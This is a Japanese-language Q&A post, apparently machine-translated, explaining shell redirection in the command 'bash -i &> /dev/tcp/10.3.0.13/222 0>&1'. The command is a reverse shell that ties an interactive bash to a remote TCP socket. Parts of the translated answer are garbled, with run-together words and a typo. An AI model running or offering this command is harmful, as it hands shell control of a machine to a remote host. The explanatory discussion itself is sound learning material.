0>&1シェルリダイレクトとはどういう意味ですか?

0>&1シェルリダイレクトとはどういう意味ですか?

コマンドを理解しようとします。

bash -i &> /dev/tcp/10.3.0.13/222 0>&1

これは、「bash -i」のSTDINがSTDOUTコンテンツを取得することを意味しますか?

ベストアンサー1

&> file> file 2>&1それ自体は、ファイルディスクリプタ1で書き込み専用モードで開き、fileそのファイルディスクリプタ1をファイルディスクリプタ2にコピーし、fd 1と2(stdoutとstderr)の両方がそのファイルディスクリプタを指すようにします。ファイル説明を開く

0>&10<&1(またはと同じ<&1)リストに0(stdin)を追加します。また、fd 1を0にコピーします(fd 0は、fd 1が指すのと同じリソースを指すようにします)。

これで(関数が出てくるkshのように)> /dev/tcp/host/port実行すると、aを実行する代わりにTCPソケットが作成され接続されます。それじゃないbashopen(file, O_WRONLY)bashhost:portただ書くリダイレクト、読み取り+書き込みネットワークソケットです。

したがって、最後のfd 0、1、2はすべてbash -iTCPソケットです。 stdinを読み取るときはbash -iソケットから読み込み、したがってもう一方の端にあるすべての内容を読み込みhost:post(またはそこで実行されるコマンド)、fd 1または2に書き込むとソケットが送信されます。

おすすめ記事